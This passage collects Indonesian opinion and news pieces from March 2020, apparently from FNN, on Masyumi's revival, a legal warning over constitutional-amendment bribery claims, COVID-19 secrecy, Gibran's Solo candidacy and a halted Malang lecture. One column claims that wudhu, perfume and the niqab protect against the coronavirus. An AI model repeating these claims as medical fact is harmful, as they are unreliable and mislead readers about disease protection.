Sulawesi Tengah, Gorontalo, Maluku, Maluku Utara, dan Papua. Menariknya, acara silaturrahmi ini diikuti dari berbagai lintas usia, dari usia senja 80-an tahun hingga yang disebut dengan melenial. Tidak kurang 20 orang tokoh dari kalangan ulama, politisi, akademisi, budayawan dan kalangan pergerakan ditampilkan di atas panggung. Mereka berbicara beberapa menit tentang Masyumi dan pandangannya terhadap Masyumi Reborn. Diantara tokoh-tokoh yang berbicara itu KH Abdul Rasyid Abdullah Syafi’i, Taufik Ismail, Dr. Abdullah Hehamahua, Prof Dr Fuad Amsyari, Ridwan Saidi, Dr. MS Ka’ban, Dr. La Ode Kamaluddin, Dr. Musni Umar, Drs. Lukman Hakim, Bachtiar Chamsah, Ustadz Khotot, Nurdiati Akma ,Egy Sujana, Joko Edy, Sri Bintang Pamungkas dan Chairul Anas “si robot pendeteksi kecurangan” yang mewakili kelompok melenial. Ada juga tokoh yang tidak bisa hadir karena berhalangan lalu menitipkan pesan tertulisnya untuk dibacakan. Diantara mereka adalah Dr. AM Saefuddin, Letjen (Purn) Syarwan Hamid dan Mohammad Siddik Ketua Dewan Dakwah. Ada juga yang hadir tapi tidak sempat memberi pandangan, namun memberikan dukungan penuh, karena harus segera menghadiri acara lain seperti Ustadz Zaitun Rasmin. Menjawab tantangan Dr. Masri Sitanggang, Ketua Panitia Persiapan Pendirian Partai Islam Ideologis (P-4II), semua pembicara yang tampil sepakat “perlu segera melahirkan kembali Partai Masyumi”. Dalam sambutannya Masri Sitanggang melaporkan bahwa selama empat bulan perjalanan P-4II, diperoleh kenyataan bahwa umat Islam mengelu-elukan lahirnya kembali Masyumi. Hampir Semua provinsi dan sebagian besar kabupaten kota telah memberikan dukungan. Masing-masing telah siap untuk membentuk membentuk komunitas di daerahnya. Tetapi P-4II tidak merasa puas sebelum menyelenggarakan pertemuan Silaturrahmi Akbar antara Anak Cucu dan Pencinta Masyumi untuk mendengarkan pendapat mereka. Kini terpulang kepada para ulama para tokoh, apakah tugas ini dilanjutkan untuk melahikan kembali Masyumi atau dihentikan. Kalau para ulama dan tokoh umat memerintahkan berhenti, kami siap berhenti. Tetapi bila para ulama dan tokoh umat memerintahkan lanjut, kami juga siap melanjutkan. Kami patuh kepada perintah para ulama dan tokoh umat. Namun bila kami boleh berpesan kepada para ulama dan tokoh umat, maka pesan kami adalah “Kalau PKI sekarang sudah unjuk gigi, mengapa tidak dengan Masyumi?”. Begitu pekik Masri Sitanggang yang disambut pekik takbir dari para hadirin. Pertemuan silaturrahmi di Aula Dewan Dakwah itu memiliki banyak arti penting. Pertama, ini merupakan mandat dari keluarga, anak cucu dan pecinta Masyumi kepada P-4II untuk melahirkan kembali Masyumi. Dengan demikian legalitas dan kinerja P-4II diakui oleh umat Islam secara luas. Setidaknya oleh keluarga dan pecinta Masyumi. Dengan demikian pula, tidak ada lagi partai selain yang dilahirkan oleh P-4II. Hanya P-411 yang dapat mengklaim dirinya sebagai (penerus) “ Partai Masymi”. Apalagi ternyata pertemuan silaturrahmi ini disenggarakan di Dewan Dakwah, sebuah lembaga yang ketahui sebagai “Pewaris Masyumi”. Kedua, undangan yang disampikan secara terbuka di berabagai media. Ini menunjukkan bahwa kegiatan ini juga terbuka bagi siapa saja yang merasa anak cucu dan pecinta Masyumi untuk menyampaikan pokok pirannya seputar Masyumi Reborn. Dengan demikian, bila kelak di belakang hari ada pandangan miring terhadap, atau bahklan mempertanyakan kelahiran Masyumi, maka itu tidak lagi pada tempatnya. Gugur dengan sendirinya. Ketiga, tampilnya sejumlah besar pembicara dari berbagai latar belakang disiplin menunjukkan bahwa upaya melahirkan kembali Masyumi bukanlah kemauan orang per orang. Bukan pula alasan kepentingan kelompok. Tetapi adalah hasil proses pengamatan dan pengkajian memadai dari kalangan yang memiliki spectrum yang luas. Pertemuan ini juga sekaligus menepis anggapan bahwa kelahiran kembali Masyumi adalah akibat perpecahan di kalangan elit partai tertentu. Sebaliknya, kelahiran kembali Masyumi dinilai sebagai kebutuhan mendesak di tengah situasi politik yang tidak menentu dan cenderung tidak menguntungkan umat Islam. Masyumi diharapkan dapat menjadi wadah pemersatu gerakan politik sekaligus gerakan dakwah umat Islam ke depan. Keempat, nama besar Masyumi ternyata masih melekat di hati umat dan masih dirindukan kehadirannya. Membludaknya peserta silatutrrahmi dan antusiasme umat dengan membentuk komunitas di berbagai daerah serta pokok-pokok pikiran yang terlontar dalam pertemuan yang dipandu oleh Dr. Ahmad Yani, membuktikan lekatnya Masyumi di hati ummat dan kerinduan akan kehadirannya kembali. Masyumi masih punya daya tarik yang sangat kuat. Bola salju telah bergulir. Para tokoh gerakan, ulama, politisi dan akademisi serta anak cucu dan pecinta Masyumi telah memberi mandat. Ketua Badan Penyelidik Usaha Pendirian Partai Islam Ideologis, KH Cholil Ridwan, telah memberi petuah bahwa cuma ada dua partai dalam perspektif Islam, yaitu “Hisbullah dan Hizbussyaithan”. Panitia pun telah pula bekerja keras menyiapkan segala perangkat. Kini tinggal menungu waktu yang tepat untuk memberi maklumat “wahai para politisi musafir, pulanglah, Masyumi telah lahir”. #MasyumiReborn. Wallahu a’lam bisshawab. Penulis adalah Ketua Panitia Persiapan Pendirian Partai Islam Ideologis (P-4II).

Babak Baru Amandemen UUD 1945 Sofyan Effendi Disomasi

Oleh Mangarahon Dongoran Jakarta, FNN - SEDIKITNYA 26 orang mantan Panitia Ad Hoc (PAH) I dan III Badan Pekerja Majelis Permusyawaratan Rakyat (MPR) 1999-2004 gusar. Mereka yang tergabung dalam Forum Konstitusi (FK) tidak menerima pernyataan mantan Rektor Universitas Gajahmada (UGM) Yogjakarta, Prof. Sofyan Effendi yang menuding 11 fraksi MPR saat itu menerima uang berkarung-karung dari pihak asing dalam proses amandemen UUD 1945. Kegusaran mereka itu dilakukan dalam bentuk somasi kepada Sofyan Efdendi. Sofyan harus meminta maaf secara terbuka dan mempertanggungjawabkan tudingannya itu berdasarkan fakta yang benar. Kegusaran mereka yang tergabung dalam Forum Konstitusi disampaikan dalam pertemuan pers, di kantor pengacara Zoelva & Parthner, di kawasan Gandaria City, Jakarta Selatan, Jumat, 13 Maret 2020. "Secara resmi kami akan menyampaikan somasi kepada Prof Sofian untuk meminta maaf secara terbuka mengklarifikasi dan mempertanggungjawabkan pernyataannya itu. Jika tidak, maka kami akan melakukan langkah-langkah hukum melaporkan secara pidana dan perdata," kata Pengawas Forum Konstitusi, Hamdan Zoelva. Hadir dalam konferensi pers itu di antaranya mantan Ketua PAH I BP MPR Jakob Tobing, mantan anggota PAH I Pataniari Siahaan, mantan anggota PAH I Lukman Hakim Saifuddin (mantan Menteri Agama), mantan anggota PAH I Zain Badjeber, mantan anggota PAH I Baharudin Aritonang, mantan anggota PAH I Seto Haryanto, mantan anggota PAH I Irjen (Purn) Ketut Astawa, mantan anggota PAH I, Theo Sambuaga. Pernyataan Sofian itu disampaikan dalam acara peluncuran buku di sebuah kampus di Jakarta Selatan pada Rabu, 11 Marer 2020 dan dimuat di media daring. Dalam pernyataannya, Sofian menyebut uang berkarung-karung dibawa untuk menyogok 11 Fraksi MPR guna memasukkan pasal sesuai dengan pesanan. Pernyataan Sofyan yang tidak mereka terima itu adalah : ... "dalam rapat-rapat panitia ad hoc di MPR juga dihadiri oleh orang-orang yang bukan warga negara Indonesia. Dan LSM National Democratic Institute (NDI), kata Prof Sofyan, membawa uang berkarung-karung ke dalam gedung MPR dan membagi-bagi uang itu kepada semua 11 fraksi." "Kami ingin menjelaskan kepada masyarakat itu bohong! Tidak benar! Dan selanjutnya kami akan ambil tindakan-tindakan hukum pidana dan perdata," kata Jacob Tobing. Forum Konstitusi memberi waktu kepada Sofian dalam waktu maksimal 3 x 24 jam untuk meminta maaf dan mengklarifikasi secara terbuka. Bila tidak, Forum Konstitusi akan melaporkan tindakan hukum. Jika Sofyan meminta maaf, mereka masih terus melihat perkembangannya dalam bentuk pertanggungjawaban yang bersangkutan. Kemungkinan lanjut ke ranah hukum bisa terjadi sebagai bentuk pembelajaran agar tidak asal bicara. Apalagi yang melemparkan tudingan itu seorang profesor. "Ini terkait kepentingan bangsa. Bukan saja urusan pribadi. Karena ini mendemoralisasi UUD 1945, mendemoralisasi hasil keputusan oleh 700 anggota MPR," kata Hamdan yang juga mantan Ketua MK. Menurut Zoelva, permintaan maaf dan pertanggunjawaban itu sangat penting. "Ini dalam rangka pelurusan sejarah bangsa di masa yang akan datang. Jika tidak diluruskan, dikhawatirkan generasi mendatang menganggap UUD 1945 diubah karena uang," kata Hamdan Zoelva. Sedangkan Baharudin Aritonang dan Theo Sambuaga menyebutkan, pernyataan Sofyan itu tidak benar dan merupakan fitnah kepada mereka yang bekerja habis-habisan mengamandemen UUD 1945. Masuk angin "Tudingan Sofyan yang menyebutkan National Democratic Institute membawa uang, apalagi berkarung-karung untuk dibagikan kepada 11 Fraksi MPR tidak benar dan fitnah," kata Theo Sambuaga. Sedangkan Baharuddin Aritonang mengatakan, " Kami sudah capek difitnah terus. Ini (fitnahan) tidak bisa dibiarkan terus." Apa yang dikatakan Aritonang itu ada benarnya. Sebab, sejak proses amandemen UUD 1945 dilakukan, isu tak sedap mengenai uang bertebaran sudah mengemuka. Aroma yang dihembuskan waktu itu adalah istilah "masuk angin." Sebagai wartawan yang aktif meliput kegiatan MPR/DPR waktu itu, desas-desus dihembuskan beberapa pihak karena sebagian amandemen UUD 1945 itu dianggap merupakan pesanan asing. Namun, namanya kabar burung, isu adanya uang dalam menggolkan amandemen tersebut hilang begitu saja. Belakangan, isu uang itu muncul kembali, terutama jika Amien Rais melakukan manuver politik. Saat amandemen UUD 1945, Amien Rais adalah Ketua MPR RI. Akan tetapi, Yakob Tobing menepis kaitan fitnah itu ditujukan untuk menjatuhkan kredibilitas Amien Rais. Sebab, selama proses amandemen, Amien Rais lebih banyak menerima hasil dan laporan dari PAH BP MPR. ** Penulis wartawan senior. Penulis, Wartawan Senior

Sembunyikan Info Corona, Jokowi Bermain-main Dengan Nyawa Rakyat

Kalau strategi ini dilakukan oleh Presiden Jokowi untuk meredam keresahan dan kepanikan, justru yang terjadi kebalikannya. Masyarakat malah panik. Mengapa? Sebab, mereka tidak percaya sama sekali pada stetmen-stetmen pemerintah. Bola salju ketidakpercayaan itu membesar terus. By Asyari Usman Sekarang, jumlah “resmi” yang positif virus Corona di Indonesia ada 96 orang. Meningkat cukup cepat sejak terungkap Corona Depok (dua orang) pada 2 Maret 2020. Sebelum kasus dua wanita Depok, pemerintah senantiasa membantah dugaan tentang Corona yang sudah masuk ke Indonesia. Tetapi, sejak awal, para ahli kesehatan dan statistik epidemi tak percaya. Mereka itu benar. Ternyata, pemerintah sengaja “membohongi” publik. Jokowi sendiri yang mengungkapkan itu. “Memang ada yang kita sampaikan dan ada yang tidak kita sampaikan. Karena kita tidak ingin menimbulkan keresahan dan kepanikan di tengah masyarakat,” kata Presiden Jokowi di bandara Soekarno-Hatta, Jumat (13/3/2020). Di tengah keinginan publik agar penyebaran virus Corona tidak ditutup-tutupi, pemerintah pusat mengambil langkah yang sangat konyol. Pemerintah tidak membuka semua informasi terkait penyebaran virus maut tsb. Mereka tidak transparan. Kalau strategi ini dilakukan oleh Presiden Jokowi untuk meredam keresahan dan kepanikan, justru yang terjadi kebalikannya. Masyarakat malah panik. Mengapa? Sebab, mereka tidak percaya sama sekali pada stetmen-stetmen pemerintah. Bola salju ketidakpercayaan itu membesar terus. Sekarang, publik mempertanyakan kredibilitas pemerintah setelah Jokowi mengakui adanya pembohongan yang disengaja. Kredibilitas Presiden Jokowi menjadi nol. Sangat mengherankan mengapa langkah untuk meredam kepanikan dijadikan alasan untuk menyembunyikan informasi Corona? Bukankah transparansi akan membuat masyarakat bisa lebih waspada? Sebagian kecil orang mungkin akan bereaksi panik. Tetapi, setelah dugaan bahwa kasus Corona itu banyak, publik tidak juga terlalu resah. Mereka malah bisa memaksimalkan jaga diri. Sangat, sangat konyol. Informasi mengenai penyebaran Corona tidak mungkin diredam terus-menerus. Publik tahu perkembangan di banyak negara. Mereka bisa memikirkan sendiri berbagai kemungkinan tentang Corona di negara ini. Publik tidak bodoh untuk dibohongi. Presiden Jokowi harus meminta maaf. Dia telah bermain-main dengan nyawa rakyat. Bukan tak mungkin sudah banyak anggota publik yang tertular disebabkan ketidaktahuan mereka tentang “hotspot” virus ganas itu. Akibat penyembunyian infromasi yang sengaja direncanakan pemerintah. Dan tak cukup hanya minta maaf saja. Jokowi harus segera memecat para pejabat dan penasihat yang menyarankan agar informasi tentang Corona ditahan. Sejak pekan lalu, Organisasi Kesehatan Dunia (WHO) meminta Indonesia agar mendeklarasikan darurat Corona. Dan agar pemerintah tidak menyembunyikan semua informasi terkait virus Corona. Penulis adalah Wartawan Senior

IBADAH MENGHADAPI WABAH VIRUS CORONA 1

Oleh Mochammad Sa'dun Masyhur Jakarta, FNN - Secara spesifik, mengadapi perubahan musim pancaroba, sehingga timbul banyak wabah penyakit, termasuk penyebaran wabah virus corona, dan dalam kaitannya untuk menjaga kesehatan, terdapat 3 hal sangat penting yang harus diperhatikan. Pertama, menjaga kebersihan diri dan lingkungan. Kedua, Meningkatkan kebugaran dan kekuatan tubuh. Ketiga, Meningkatkan imunitas atau daya tahan tubuh. Tiga aspek materi ini akan diuraikan dalam tiga seri tulisan. Dalam kaitan itu, Islam mengatur barbagai rangkaian ibadah, yang pada dasarnya berhubungan langsung bagi kehidupan manusia di dunia. Tidak salah dinyatakan bahwa ibadah orang yang beriman itu, bukanlah semata-mata untuk kepentingan Allah, tetapi lebih dari itu, untuk menyelamatkan kehidupan manusia di dunia kini, dan di akhirat kelak. Tidak berlebihan dikatakan bahwa Islam mungkin adalah satu-satunya agama di dunia yang mengatur hal-hal pernak-pernik kehidupan, yang seolah remeh temeh. Dalam hubungannya dengan menjaga kebersihan diri dan lingkungan, misalnya, Islam tidak hanya memperhatikan persoalan kebersihan dan higienitas, tetapi di atas itu, mengajarkan tentang kesucian. Dalam persoalan bersuci (thoharoh), sesunguhnya tanpa disadari mengandung muatan untuk menghindarkan diri dari kuman penyakit. Karena itu, syariah Islam tidak hanya mengatur ketentuan menyangkut media bersucinya, berupa air atau tanah, tetapi juga mengatur tata cara bersuci. Dalam hal membersihkan kotoran tertentu, diperlukan hingga 7x siraman dengan air mengalir, yang di antara itu harus membersihkan bagian yang terkena najis tertentu itu, dengan tanah. Najis dalam pengertian luas adalah segala sesuatu kotoran, yang berbahaya bagi tubuh, termasuk kuman penyakit semacam COVID-19. Untuk menjaga kesucian, dalam kaidah syariah, air yang digunakan bersuci, harus air yang mengalir atau air dalam volume tertentu. Syariat juga melarang membasuh atau memasukan tangan kotor ke dalam bejana berisi air, tetapi harus memakai gayung. Atau mengatur cara membersihkan kotoran (istinjak) sampai sifat-sifat kotoran itu hilang dengan tangan kiri. Dan makan mengunakan tangan kanan yang didahului dengan cuci tangan. Agar tubuh tetap bersih dan menghindari berbagai penyakit, Sunah Rasul menuntun untuk bersiwak/gosok gigi utamanya hendak tidur, setelah makan dan hendak sholat. Berwudhu dengan benar, yang disunahkan dimulai dengan berkumur, dan istinsyaq atau menghirup air ke dalam rongga hidung adalah cara yang baik untuk menjaga masuknya virus ke dalam tubuh. Lalu membasuk muka, kemudian menyapu kepala, yakni mengosok-gosokan jari yang basah ke seluruh bagian kepala, adalah hal yang sangat penting dan baik untuk membangkitkan seluruh syaraf dibagian kepala. Coba lakukan dengan benar dan rasakan manfaatnya. Secara keseluruhan aspek penting lain dalam ritual berwudhu adalah menstabilkan suhu badan pada temperatur normal, sehingga tubuh akan terasa lebih segar. Maka sangat wajar jika dalam mengadapi corona, berwudhu ini direkomendasikan dan dianjurkan banyak pihak. Demikian juga syariah mengatur pakaian menutup aurat, yang tidak hanya bermakna secara etis, tetapi juga untuk menjaga kesehatan. Selain itu juga disunahkan memakai wewangian, karena renik patogen, cenderung berbau busuk dan tidak nyaman di lingkungan yang wangi. Mengingat suhu tubuh manusia normal dalam kisaran 36,5 sd 37,3 derajat Celcius, tidak didesain mengalami kejutan suhu. Sangat tepat mandi sebelum matahari terbit dan sebelum tenggelam. Dan agar tidak terjadi sock suhu, awali dengan berwudhu. Atau saat kehujanan, beradaptasi dulu dengan air biasa, dan tidak langsung mandi dengan air panas. Dalam hal menjaga kebersihan lingkungan, sunah mengajarkan mengalirkan air tergenang, menutup bejana, menutup maknn dan minuman, menimbun bangkai dan hal-hal berbau busuk, menutup pintu dan jendela sebelum malam tiba dan membuka sebelum matahari terbit. Juga menutup mulut saat batuk, menguap atau bersin. Khusus bersin disertai untuk saling mendoakan. Dalam hal-hal tertentu, sorban dan cadar sebagai kesunahan, sering dipandang sebelah mata. Padahal berguna fungsional, sebagai pelindung kepala disaat hujan atau panas terik, penutup hidung, melindungi wajah dan kepala dari tiupan angin dan debu. Singkatnya ia berfungsi multiguna termasuk sebagai penganti masker, penghangat tubuh disaat dingin, dll. Belakangan baru disadari dan beredar kabar bahwa Muslimah yang bercadar lebih kecil terjangkit virus corona. Subhanallah. Tentu masih banyak hal tentang menjaga kebersihan diri dan lingkungan yang bagi seorang muslim sudah menyatu dalam kehidupan keseharian. Tentang menjaga kesucian itu, Allah SWT berfirman yang artinya Allah tidak ingin menyulitkan kamu, tetapi Dia hendak membersihkan kamu dan menyempurnakan nikmat-Nya bagimu, agar kamu bersyukur, (QS. Al-Ma'idah 5: Ayat 6). Selanjutnya perlu dibahas ritual ibadah yang berhubungan dengan upaya utuk meningkatkan kebugaran dan kekuatan tubuh. (Bersambung) Penulis adalah Holistic Healing Consulting, Expert and Inventor Medical Quran

Jika Gagal di Solo, Akankah Gibran Maju di Kota Blitar atau Surabaya?

Mochamad Toha Jakarta, FNN - Ketua DPC PDIP Kota Solo F.X. Hadi Rudyatmo menyatakan, PDIP tetap solid mendukung pasangan Achmad Purnomo dan Teguh Prakosa (Puguh) sebagai pasangan bakal calon pada Pilkada Kota Solo 2020 mendatang. Walikota Solo itu menegaskan, pasangan Puguh ini merupakan bakal calon sah yang diusung oleh PDIP Solo. “Saya yakin pasangan pasangan bakal calon Puguh bisa memenangi Pilkada Solo,” ujar Rudyatmo di sela acara “Apel Satgas PDIP Surakarta” yang digelar di kawasan parkir Vastenburg Solo, Ahad, 8 Maret 2020. Rudyatmo menegaskan, dirinya sudah menyampaikan agar kader PDIP Surakarta tidak takut untuk mendukung pasangan bakal calon Puguh pada Pilkada 2020, 23 September 2020 nanti. Karena Puguh merupakan pasangan yang diusung DPC PDIP Solo. DPC PDIP hanya mengajukan satu pasangan ke DPD yang dilanjutkan DPP PDIP. Sementara itu, anak Presiden Joko Widodo atau Jokowi, Gibran Rakabuming Raka, maju melalui jalur DPD PDIP Jawa Tengah. Menurut Rudyatmo, semua Satgas dan pengurus partai di Solo tidak perlu khawatir. Ia yakin pasangan Puguh akan mendapat rekomendasi dari DPP PDIP. Meski demikian, dia meminta agar kader patuh dengan ketentuan partai. “Artinya, tegak lurus mengikuti apapun keputusan dari Ketum PDIP Megawati Soekarnoputri tetap harus diutamakan,” kata Rudyatmo, seperti dilansir Tempo.co, Minggu (8 Maret 2020 15:32 WIB). Sebelumnya, Lembaga Survei Indo Barometer merilis hasil survei terbaru yang menunjukkan bahwa 67,5 persen masyarakat menerima Gibran Rakabuming Raka sebagai calon Walikota Solo pada Pilkada 2020. Sementara 23,7 persen publik tidak mau menerima jika putra sulung Presiden Joko Widodo itu maju sebagai calon Walikota Solo. “Ada lima alasan publik tidak menerima. Paling besar karena menganggap Gibran belum berpengalaman dalam pemerintahan (37 persen),” kata Direktur Eksekutif Indo Barometer M. Qodari di Jakarta, Minggu (16/2/2020). Empat alasan lain tidak menerima, yakni menciptakan dinasti politik (28,1 persen), masih banyak calon lain yang lebih kompeten (12,3 persen), masih terlalu muda (8,9 persen), dan dapat menimbulkan kontroversi publik (6,8 persen). Ada lima alasan publik dapat menerima, yakni semua warga negara berhak memilih dan dipilih (49,4 persen), hak ikut berdemokrasi (13,9 persen), dan tidak masalah jika memenuhi syarat pencalonan (13,9 persen). Mengutip GenPI.com, Minggu (16 Februari 2020 17:32), berikutnya, yaitu melanjutkan Jokowi yang pernah memimpin Solo (9,4 persen), Gibran mempunyai kepribadian dan kemampuan yang baik sebesar 7,7 persen. Hasil survei itu juga merilis, ternyata masih ada yang tidak mengetahui kalau Gibran akan mencalonkan sebagai walikota sebesar 39,3 persen, sementara yang mengetahui sebesar 51,4 persen. Survei nasional itu dilakukan Indo Barometer pada 9 – 15 Januari 2020 menggunakan metode multistage random sampling dengan 1.200 responden dan memiliki margin of error lebih kurang 2,83 persen. Teknik pengumpulan data dilakukan dengan wawancara tatap muka responden menggunakan kuosioner dengan syarat responden WNI yang berusia di atas 17 tahun atau sudah menikah. Mengapa Ditolak? Tidak semua warga Solo setuju dengan pencalonan putera pertama Presiden Jokowi, Gibran Rakabuming Raka maju pada Pilkada Kota Solo 2020. Warga Solo yang tergabung dalam Peduli Pemilu (PWSPP) menyatakan keberatan karena persoalan etika berpolitik. Mengutip HanTer.com, Rabu (11 Desember 2019 - 10:19 WIB), pada Pilkada Solo 2015, Gibran tidak memberikan hak suaranya alias Golput. Menurut Ketua PWSPP Johan Syafaat Mahanani, apabila orang yang tidak mau memilih (golput) diberikan kesempatan untuk memilih, maka bisa menjadi contoh generasi muda untuk bersikap egois hanya mementingkan kepentingan sendiri. “Sebaiknya Gibran maju Pilkada Kota Solo pada 2025 namun pada 2020 dia bersedia memilih,” kata Ketua PWSPP, Johan Syafaat Mahanani, di Solo, Selasa (10/12/2019). Menurut Johan, keberatan ini, sebagai bentuk pendidikan politik bagi masyarakat agar di kemudian hari orang yang tidak menggunakan hak memilih tidak menuntut haknya untuk dipilih. Syafaat, seperti dilansir Antara, mengakui pihaknya sudah mengajukan surat keberatan kepada partai politik atas pencalonan Gibran dalam Pilkada Kota Solo 2020. Gibran diketahui sempat menampakkan sikap ngototnya yang tetap berusaha maju dengan melawan keputusan DPC PDIP Solo yang mantap mengusung pasangan Puguh. Padahal, keputusan DPC PDIP Solo tersebut berdasarkan aspirasi akar rumput. Namun, keinginan Gibran untuk maju pada Pilkada Solo 2020 terkesan bukan atas dasar kepentingan rakyat. “Itukan seperti arogansi, seolah-olah berkata yang bisa menyejahterakan rakyat itu saya dan kelompok saya,” ungkap analis politik Universitas Islam Indonesia (UII) Geradi Yudhistira. Dalam manuver yang dilakukan sosok yang baru mendaftar sebagai kader PDIP beberapa waktu lalu itu terkesan arogan. Bahkan dinilai jauh dari kepentingan rakyat. Alih-alih dia menghormati keputusan DPC, Gibran justru tetap berkeinginan untuk mencalonkan diri dengan menghadap ke Ketum PDIP beberapa waktu lalu. Pengamat politik Universitas Diponegoro M Yulianto menilai, rencana Gibran maju pada Pilkada Solo 2020 dalam konteks demokrasi sah-sah saja. Namun, menurutnya, asalkan telah memenuhi kualitas, kapasitas, intergritas. “Sebenarnya dalam konteks demokrasi (Gibran maju Pilkada, red) sah dan boleh. Tetapi kalau kualitas, kapasitas, intergritasnya memenuhi tidak masalah,” ungkap Yulianto di Jakarta, Selasa (10/12/2019). Namun, di sisi lain, menurutnya, pencalonan Gibran itu akan memberikan tren dinasti politik di keluarga (oligarki) penguasaan kelompok tertentu berbasis pada dinasti keluarga. “Karena itu juga bisa, itu juga ada di Sumatera. Kemudian di Solo dan nanti itu akan diikuti tokoh-tokoh politik dari PDI Perjuangan yang membangun plan-plan keluarga di situ,” ungkapnya. Menurutnya, hal ini merusak sistem yang sudah dibangun oleh PDIP yang dipertahankan dengan loyal oleh pengurus kabupaten/kota dan povinsi. “Ini artinya apa? Ini bagian dari manajemen partai yang harus dikritisi, jangan mentang-mentang atau jangan seolah-olah karena punya power yang besar kemudian merusak mekanisme sistem yang didesain oleh partai dengan baik,” tandasnya. Pengamat Politik Ray Rangkuti mengatakan, publik akan kecewa kepada Presiden Jokowi ketika putera Gibran maju dalam Pilkada 2020. Ia menilai, publik kecewa karena ternyata keluarga Jokowi tidak mengambil jarak dengan dunia politik praktis. “Ini menambah bobot makin jauhnya harapan agar Jokowi menjadi salah satu figur yang mempraktekan politik dengan kultur baru,” ujar Ray, Selasa (10/12/2019). Terlebih lagi, selama ini Jokowi dicitrakan sebagai pembawa pembaruan yang tidak mempraktekkan politik dinasti dan nepotisme ketika menjabat sebagai presiden. Majunya Gibran saat Jokowi masih menjabat, menurutnya, menjadi titik yang menghapus semua citra baik yang selama ada di mata publik. “Artinya, dalam hal ini, Pak Jokowi tak memberi tauladan yang berbeda dari kebanyakan politisi Indonesia,” tambah Ray. Pengamat Politik, Hendri Satrio mengatakan, jika Gibran terpilih menjadi walikota karena menggunakan fasilitas Jokowi, maka masuk ke dalam kategori dinasti politik. Dan, lanjut dia, hal itu tentunya merusak nama Jokowi sendiri. Menurut Hendri, langkah Gibran terjun ke dunia politik bisa menorehkan tinta negatif sejarah. Karena, Gibran maju saat ayahnya, Jokowi, masih memimpin Indonesia. “Sekarang terserah Gibran tetap mau menjaga tinta positif sejarah Indonesia dalam berpolitik bagi Jokowi tentunya, atau berkontribusi menorehkan tinta negatif untuk ayahnya,” katanya di Jakarta, Selasa (10/12/2019). Dia mengatakan, sejak Indonesia berdiri sampai saat ini belum ada anak presiden yang ikut dalam pesta demokrasi. Bahkan, pada era pemerintahan Presiden Soeharto tidak ada anaknya yang maju ke dalam kontestasi politik. “Karena akan dicatat sejarah sebagai presiden pertama yang anaknya maju ke perhelatan pilkada sebagai Walikota. Belum ada itu, Pak Harto saja 32 tahun nggak kayak gitu," kata dia, seperti dilansir Harianterbit.com. Jika pada akhirnya rekomendasi DPP PDIP jatuh ke pasangan Puguh, maka peluang Gibran maju Pilkada Serentak 2020 hanya ada di Kota Blitar atau Kota Surabaya. Kabarnya, pilihan untuk dua kota ini sedang dibicarakan di DPP PDIP. Tampaknya Gibran masih ngotot ingin maju Pilkada Serentak 2020, bukan? Akankah warga Kota Blitar dan Kota Surabaya menerima Gibran? *** Penulis wartawan senior.

Dipersekusi Segelintir Orang, Polresta Malang Berupaya Hentikan Kajian UBN

Oleh Mochamad Toha Jakarta, FNN - Acara kajian Islam Majelis Intelektual dan Ulama Muda Indonesia (MIUMI) di Hotel Radho Syariah Jalan Simpang Kawi Kota Malang “dibubarkan” oleh aparat Polresta Malang dengan alasan tidak mengantongi izin dan berpotensi menimbulkan keributan. Apalagi, menurut Kasat Intelkam Polresta Kompol Sutiono, sejak sore telah banyak aduan dari masyarakat yang menolak kajian tersebut. “Banyak yang ngadu ke saya dan ke Pak Kapolresta (Kombes Pol Leonardus Simarmata),” tegasnya. Melansir RadarMalang.id, Selasa (10 March 2020 1:12 pm), “Sebelumnya mereka ditolak mengadakan acara di masjid Universitas Brawijaya, lalu di Sengkaling, tiba-tiba pindah ke sana (Hotel Radho),” lanjut Sutiono. Berdasarkan informasi yang dihimpun dari warga sekitar, Ustadz Bachtiar Nasir sebagai pembicara dianggap membawa materi kajian yang provokatif. Secara prosedur pun, acara ini ternyata belum memenuhi syarat. Karena surat baru sampai ke divisi Intelkam pada Senin sore. Sementara kajian tersebut diadakan malam harinya pukul 19.00 WIB. “Prosedurnya surat harus dikirim 3×24 jam sebelum acara digelar. Lha ini nggak. Surat baru masuk sore. Digelar juga sore itu. Saya telepon penanggungjawabnya juga nggak bisa,” ujar Sutiono. Akhirnya polisi pun mendatangi lokasi dan mengamankan peserta kajian yang berjumlah 200 orang itu. Polisi juga berusaha meredam emosi warga sekitar dan ormas. “Saya lobi ke pak ustadz agar dihentikan. Saya tidak melarang, tapi ini mengundang gesekan, sebaiknya dihentikan lebih cepat. Ini demi keamanan saja. Karena, ya kami ingin Malang ini damai,” lanjutnya. Negosiasi sempat alot. Namun, pada pukul 21.00 WIB, peserta kajian diarahkan ke luar gedung dengan pengawalan oleh tak kurang 100 anggota kepolisian. “Kami ingin memastikan peserta kajian aman dan selamat,” pungkas dia. Menurut Ustadz Muhammad Ali yang dapat kabar dari peserta kajian Ustadz Bachtiar Nasir yang akrab dipanggil UBN itu, sebenarnya yang unjuk rasa itu jumlahnya sekitar 15 orang saja. “Kenapa justru kajian yang harus dibubarkan?” katanya. Bagaimana peristiwa yang sebenarnya malam itu telah diungkap oleh Gus Abrar Rifai, Ketua PA 212 Malang. Acara itu bukan hanya dihadiri oleh Kompol Setiono saja yang berpakaian preman, tapi juga Wakapolresta Malang AKBP Setyo Koes Heriyatno dengan seragam. “Sampai sekarang serasa masih ada bongkahan batu yang mengganjal di hati, menyaksikan UBN acaranya dihentikan dan kemudian beliau digelandang pergi dari hotel,” ungkap Gus Abrar. Sekitar pukul delapan malam, Ahad malam Senin kemarin, Habib Asadullah Alaydrus kontak Gus Abrar Rifai. “Beliau memberi kabar, ada penolakan acara yang akan dihadiri UBN di Malang,” lanjutnya. Malam itu juga Gus Abrar kontak Mas Lutfi Ardobi, sekretaris PA 212 dan KH. Khoirul Anam, Ketua Rampak Naong (komunitas kiai berdarah Madura di Malang). “Saya minta panitia untuk bertemu,” ungkapnya. Tapi rupanya DR. Muwafik, dosen Fisip UB yang menjadi Ketua Panitia sedang berada di Jakarta. “Sehingga yang diutus adalah Mas Reza, dosen Fakultas Teknik UMM, selaku Sekretaris Panitia,” jelas Gus Abrar. Menurutnya, Habib Asad pun mempercepat pengajiannya, untuk bisa bertemu mereka. “Kiai Anam pun saat saya telpon, sebenarnya sudah bersiap ke peraduan. Entah mau apa tidur sesore itu,” lanjutnya. Akhirnya pukul 23.30 mereka bertemu. Gus Abrar mendengar langsung permasalahannya. Termasuk update surat ke Polisi yang masih belum mendapatkan Surat Keterangan Tanda Terima (SKTT). Malam itu setelah berbincang, kita sepakat acara tetap lanjut. “Tapi, Mas Reza saya minta untuk segera mendapatkan SKTT,” tegasnya. Besoknya, ia 